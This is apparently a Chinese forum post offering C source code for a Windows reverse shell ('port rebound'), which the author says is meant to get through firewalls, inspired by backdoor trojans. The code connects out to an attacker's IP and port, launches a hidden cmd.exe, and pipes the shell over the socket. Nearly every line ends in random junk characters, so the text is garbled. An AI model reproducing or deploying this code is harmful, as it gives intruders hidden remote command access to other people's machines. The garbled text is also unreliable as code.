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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KEAXDF&#  
M7#!Y=  
/* ============================== ==Gc%  
Rebound port in Windows NT 4uF.kz-cg  
By wind,2006/7 --h\tj\U  
===============================*/ ^ h=QpH  
#include 2D 4,#X  
#include LV}R 9f  
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#pragma comment(lib,"wsock32.lib") 9QQ XB-  
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void OutputShell(); m*^)#  
SOCKET sClient; zt.k Nb  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7# AIX],  
=D<0&M9C  
void main(int argc,char **argv) ]545:)Q1  
{ Ft5A(P >  
WSADATA stWsaData; *%xbn8  
int nRet; *)m:u:   
SOCKADDR_IN stSaiClient,stSaiServer; 5c- P lm%  
\`Hp/D1  
if(argc != 3) ?N kKDvv  
{ ^'3c%&Zf3  
printf("Useage:\n\rRebound DestIP DestPort\n"); !73y(Y%TE  
return; ~${~To8$CW  
} OG$n C  
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WSAStartup(MAKEWORD(2,2),&stWsaData); e5_Hmuk|  
\,R;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EN m%(G$  
^s~)"2 g  
stSaiClient.sin_family = AF_INET; <AgB"y@  
stSaiClient.sin_port = htons(0); J[lC$X[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Hq.rG-,p  
eV7;#w<]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vr2A7kq  
{ gP_N|LuF"  
printf("Bind Socket Failed!\n");  : (UK'i  
return; uFr12ZFgK  
} 0/HFLz'  
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stSaiServer.sin_family = AF_INET; Wf c/?{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v[L+PD U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a (U52dO,  
TdFU,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I Q_6DF  
{ ; Y/nS  
printf("Connect Error!"); j!+jLm!l  
return; %q5dV<X'c  
} [,;Y5#Y[5  
OutputShell(); !*]i3 ,{7v  
} 4DL;Y  
}c G)$E  
void OutputShell() Q/o,2R  
{ Yxq!7J  
char szBuff[1024]; ~n=DI/AJ@-  
SECURITY_ATTRIBUTES stSecurityAttributes; 2u.0AG   
OSVERSIONINFO stOsversionInfo; ^ITF*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Sk{skvd;  
STARTUPINFO stStartupInfo; bPVk5G*ruP  
char *szShell; d(IJ-qJ N  
PROCESS_INFORMATION stProcessInformation; i l^;2`]&  
unsigned long lBytesRead; ("U<@~  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b1Vr>:sK47  
4,y7a=qf3  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f*%kHfaXgN  
stSecurityAttributes.lpSecurityDescriptor = 0; etX@z'H  
stSecurityAttributes.bInheritHandle = TRUE; l uP;P&  
uV:R3#^  
wra0bS)4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T)P)B6q   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Gz&}OO  
O)jD2X?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YR'F]FI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l'I:0a 4T  
stStartupInfo.wShowWindow = SW_HIDE; )<5k+O~  
stStartupInfo.hStdInput = hReadPipe; C0N :z.)4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L:HvrB~  
(z sG!v  
GetVersionEx(&stOsversionInfo); J~%43!X\K  
m%0 -3c(  
switch(stOsversionInfo.dwPlatformId) '0 Cp  
{ GDSV:]hL  
case 1: }=X: F1S  
szShell = "command.com"; o`f^m   
break; q|*^{(tWs  
default: 3(e_2v  
szShell = "cmd.exe"; um%_kX  
break; tV !?Ol  
} t:2DB)  
"Z&.m..gc  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v,i|:;G  
4jXo5SkEJ  
send(sClient,szMsg,77,0); & /8Tth86  
while(1) g}MUfl-L  
{ "Not /8J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nI6 gd%C  
if(lBytesRead) ~| j  eNT  
{ Q:b0M11QR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qfsPX6]  
send(sClient,szBuff,lBytesRead,0); ?/YABY}L  
} cWAw-E5  
else %`F;i)Zz  
{ F85_Lz4  
lBytesRead=recv(sClient,szBuff,1024,0); '=0}2sF>  
if(lBytesRead<=0) break; ;<Q%d~$xy}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4&W?: =H2  
} 1(DiV#epG  
}  GK/Po51  
@1CXc"IgA  
return; C*mVM!D);!  
}
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